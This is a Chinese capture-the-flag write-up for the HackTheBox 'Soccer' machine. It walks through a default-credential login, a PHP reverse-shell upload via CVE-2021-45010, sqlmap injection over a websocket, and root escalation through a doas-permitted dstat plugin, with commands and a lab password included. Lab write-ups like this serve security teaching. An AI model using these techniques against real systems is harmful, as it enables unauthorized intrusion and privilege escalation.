HackTheBox-Machines--Soccer

news2024/11/27 20:42:10

文章目录

  • 1 信息收集
  • 2 CVE-2021-45010 漏洞利用
  • 3 横向移动
  • 4 权限提升

Soccer 测试过程


1 信息收集


   a.端口扫描:发现22、80、9091端口
   b.目录扫描:http://soccer.htb/tiny/
   c.子域爆破
   d.信息泄漏

nmap -sC -sV 10.129.87.151

在这里插入图片描述

  端口扫描结果:开放 22、80、9091 未知服务,首先从 80 web端口开始进行测试。

echo "10.129.87.151 soccer.htb" | sudo tee -a /etc/hosts

  使用gobuster进行目录扫描,检查是否有目录或敏感文件的泄漏

./gobuster dir -u http://soccer.htb/ -w directory-list-2.3-medium.txt

在这里插入图片描述

  枚举出 /tiny 目录,查看该目录为Tiny File Manager
在这里插入图片描述

  搜索该登录登录页相关信息,发现github仓库中存在默认口令 admin/admin@123 and user/12345,并使用admin/admin@123成功登录

在这里插入图片描述

在这里插入图片描述

  检查页面内容发现 Tiny File Manager 2.4.3 ,搜索相关版本信息,发现此版本存在已知漏洞

在这里插入图片描述

2 CVE-2021-45010 漏洞利用


  Tiny File Manager <= 2.4.6,允许具有有效用户帐户的远程攻击者将恶意 PHP 文件上传到 webroot 并在目标服务器上实现代码执行。此漏洞编号为CVE-2021-45010

  漏洞利用:在File Manager下存在文件上传目录,我们可以通过上传反弹shell脚本,并访问脚本地址触发,获取shell
在这里插入图片描述

# 执行监听
ncat -lnvp 4444

  访问上传的反弹shell PHP 脚本进行触发:http://soccer.htb/tiny/uploads/php-reverseshell.php

在这里插入图片描述

  获取到的shell权限为www-data,www-data用户通常具有对网站根目录及其子目录的读取和执行权限,以便可以向用户提供网站内容。但是,www-data用户通常不具有写入权限,以防止恶意用户上传恶意代码或文件。

3 横向移动


信息收集

  sites-available 文件夹用于存放网站的配置目录,意为可用的网站列表,用于在需要时链接到 sites-enabled 中作为需要启用的网站。

  在www-data权限下,访问sites-available文件夹可以查看是否有可利用的配置等。

ls -la /etc/nginx/sites-enabled

在这里插入图片描述

  sites-available文件夹下,发现子域 soc-player.soccer.htb/,添加hosts,进行访问

echo "10.129.87.151 soc-player.soccer.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

  在子域 soc-player.soccer.htb/中存在Login和Signup接口,Login功能无法利用,尝试对Signup功能进行测试。注册新用户。

在这里插入图片描述

  使用注册的账号密码进行登录,登录后界面如下,在登录界面发现:Your Ticket Id:99625,可能为利用点

在这里插入图片描述

  查看网页源代码,发现此功能运行于9091端口的websocket服务上,抓取websocket请求包,观察请求

在这里插入图片描述

在这里插入图片描述

  发送请求,观察响应内容,响应显示Ticket Doesn't Exist,由此判断,id参数可能被提交到数据库,并在数据库中进行了查询对比,以此来判断id参数是否存在于数据库中。

在这里插入图片描述

  id参数被提交到数据库中进行查询,那就可以进行sql注入尝试

"id":"99625'"
"id":"99625 or 1=1"

在这里插入图片描述

使用sqlmap对id参数进行注入

  使用sqlmap对webscoket进行时间盲注的原理可见链接:https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

  1.安装 websocket-client
  2.使用google链接脚本将请求格式化为JSON消息并进行注入,需将 ws_server 和 data 参数更改为注入地址及注入参数

# 更改后如下
ws_server = "ws://soc-player.soccer.htb:9091"
data = '{"id":"%s"}' % message
pip install websocket-client
python3 web-socket.py

  3.使用sqlmap进行sql注入

sqlmap -u http://localhost:8081/?id=1 -p "id" --dump-all --exclude-sysdbs

在这里插入图片描述

  4.使用player:PlayerOftheMatch2022进行ssh登录 ssh player@10.129.203.131

在这里插入图片描述

4 权限提升

# 无可利用点
sudo -l

在这里插入图片描述

  寻找SetUID二进制文件。SUID安全机制,允许使用文件所有者的权限运行可执行文件。此处使用SUID提权

find / -type f -perm -4000 2>/dev/null

在这里插入图片描述

  /usr/local/bin/doas,doas是OpenBSD操作系统上常见的替代方案sudo,但可以安装在基于Debian的Linux操作系统(如 Ubuntu)上。

# 查看doas配置文件doas.conf
find / -name doas.conf 2>/dev/null
cat /usr/local/etc/doas.conf

在这里插入图片描述
  permit nopass player as root cmd /usr/bin/dstat,player用户可以以root权限运行dstat命令。

搜索dstat相关信息,在文件中发现如下解释
  插件是名为dstat_[plugin name].py的Python脚本
  /usr/local/share/dstat目录可写,可以写入bash shell
在这里插入图片描述

  将bash写入/usr/local/share/dstat目录

echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_0xdf.py

  使用dstat调用0xdf插件

doas /usr/bin/dstat --0xdf

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1582093.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…

JVM—jps、jstat、jinfo、jmap、jstack的使用

JVM—jps、jstat、jinfo、jmap、jstack的使用 jps jps全称&#xff1a;Java Virtual Machine Process Status Tool 可以查看Java进程&#xff0c;相当于Linux下的ps命令&#xff0c;只不过它只列出Java进程。 jps:列出Jav程序ID和Main函数名称 jps -q:只输出进程ID jps -m …

【星期计算】蓝桥杯

–> 因为这里是结果填空题&#xff0c;我们直接暴力用java自带的BigInteger类。 /*** 试题 A: 星期计算** 本题总分&#xff1a;5 分* 【问题描述】* 已知今天是星期六&#xff0c;请问20的22次方天后是星期几&#xff1f;* 注意用数字 1 到 7 表示星期一到星期日。* * 【答…

Adobe Photoshop 2024 v25.6强大的图形编辑工具

Adobe Photoshop 2024是一款非常强大的图像处理软件&#xff0c;具有丰富的功能和工具&#xff0c;可以满足各种图像处理需求。 软件下载&#xff1a;Adobe Photoshop 2024 v25.6中文激活版 它不仅支持基本的图像编辑和调整&#xff0c;还具有高级的特性&#xff0c;如智能对象…

自定义类型—结构体

目录 1 . 结构体类型的声明 1.1 结构的声明 1.2 结构体变量的创建与初始化 1.3 结构体的特殊声明 1.4 结构体的自引用 2. 结构体内存对齐 2.1 对齐规则 2.2 为什么存在内存对齐 2.3 修改默认对齐数 3. 结构体传参 4.结构体实现位段 4.1 位段的内存分配 1 . 结构体类…

w1r3s 靶机学习

w1r3s 靶机学习 0x01 IP C for command kali ip 10.10.10.128victim ip 10.10.10.1290x02 开扫 C sudo nmap -sn 10.10.10.0/24-sn 多一步入侵和轻量级侦察 发送四项请求 -sL 列表扫描&#xff0c;多用于探测可用ip&#xff0c;广播扫描 –send-ip 时间戳请求&#xff0…

急!开具数电票,提示风险预警怎么办?

随着数电票试点基本落地全国&#xff0c;越来越多的企业需要开具数电票。但一些财务伙伴在开具数电票时&#xff0c;却收到了风险预警弹窗&#xff0c;这是什么意思呢&#xff1f;财务遇到了该如何处理&#xff1f;今天&#xff0c;百小望和大家聊一聊。 1、什么是红黄蓝预警&a…

Java如何实现的跨平台

其实Java能够实现跨平台主要是依赖于虚拟机。 源代码 首先Java的源代码存在于.java文件中&#xff0c;这些源代码是与平台无关的&#xff0c;这就意味着这些源代码可以在任何一个平台上进行编写。 编译成字节码 通过Java编译器将这些源代码编译成字节码&#xff0c;字节码是…

基于Linux定时任务实现的MySQL周期性备份

1、创建备份目录 sudo mkdir -p /var/backups/mysql/database_name2、创建备份脚本 sudo touch /var/backups/mysql/mysqldump.sh# 用VIM编辑脚本文件&#xff0c;写入备份命令 sudo vim /var/backups/mysql/mysqldump.sh# 内如如下 #!/bin/bash mysqldump -uroot --single-…

【IC前端虚拟项目】验证阶段开篇与知识预储备

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 从这篇开始进入验证阶段&#xff0c;因为很多转方向的小伙伴是转入芯片验证工程师方向的&#xff0c;所以有必要先做一个知识预储备的说明&#xff0c;或者作为验证入门的一个小指导吧。 在最开始&#…

2024 EasyRecovery易恢复 帮你轻松找回回收站删除的视频

随着数字化时代的到来&#xff0c;我们的生活和工作中越来越依赖于电子设备。然而&#xff0c;电子设备中的数据丢失问题也随之而来。数据丢失可能是由各种原因引起的&#xff0c;如硬盘故障、病毒感染、误删除等。面对这种情况&#xff0c;一个高效、可靠的数据恢复工具变得尤…

力扣—2024 春招冲刺百题计划

矩阵 1. 螺旋矩阵 代码实现&#xff1a; /** param matrix int整型二维数组 * param matrixRowLen int matrix数组行数* param matrixColLen int* matrix数组列数* return int整型一维数组* return int* returnSize 返回数组行数 */ int* spiralOrder(int **matrix, int matri…

C语言 | Leetcode C语言题解之第19题删除链表的倒数第N个结点

题目&#xff1a; 题解&#xff1a; struct ListNode* removeNthFromEnd(struct ListNode* head, int n) {struct ListNode* dummy malloc(sizeof(struct ListNode));dummy->val 0, dummy->next head;struct ListNode* first head;struct ListNode* second dummy;f…

蓝桥杯嵌入式(G431)备赛笔记——UART

printf的重定向 为了方便使用&#xff0c;通过keil中的Help功能的帮助&#xff0c;做一个printf的重定向 搜索fputc&#xff0c;复制这段 将复制的那段放入工程中&#xff0c;并添加串口发送的函数 关键代码 u8 rx_buff[30]; // 定义一个长度为30的接收缓冲区数组rx_buff u8…

C++初阶:6.string类

string类 string不属于STL,早于STL出现 看文档 C非官网(建议用这个) C官网 文章目录 string类一.为什么学习string类&#xff1f;1.C语言中的字符串2. 两个面试题(暂不做讲解) 二.标准库中的string类1. string类(了解)2. string类的常用接口说明&#xff08;注意下面我只讲解…

数组与链表:JavaScript中的数据结构选择

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

SpringBoot中注册Bean的方式汇总

文章目录 ComponentScan Componet相关注解BeanImportspring.factories总结Configuration和Component的主要区别&#xff1f;Bean是不是必须和Configuration一起使用&#xff1f;Import导入配置类有意义&#xff1f;出现异常&#xff1a;java.lang.NoClassDefFoundError: Could…

巨控GRM230远程智能模块:定义未来智慧水务的新篇章

标签:#智能模块 #自动化控制 #远程监控 #水质检测 #无线数据传输 在如今这个快速发展的时代&#xff0c;智能化已经成为了各行各业升级转型的关键词。尤其在水务管理领域&#xff0c;传统的手动操作和监控方法逐渐不能满足现代化的需求&#xff0c;而巨控科技推出的GRM230远程…

Docker容器嵌入式开发:MySQL表的外键约束及其解决方法

本文内容涵盖了使用MySQL创建数据库和表、添加数据、处理字符集错误、解决外键约束问题以及使用SQL查询数据的过程。通过创建表、插入数据和调整字符集等操作&#xff0c;成功解决了数据库表中的字符集问题&#xff0c;并使用INSERT语句向各个表中添加了示例数据。同时&#xf…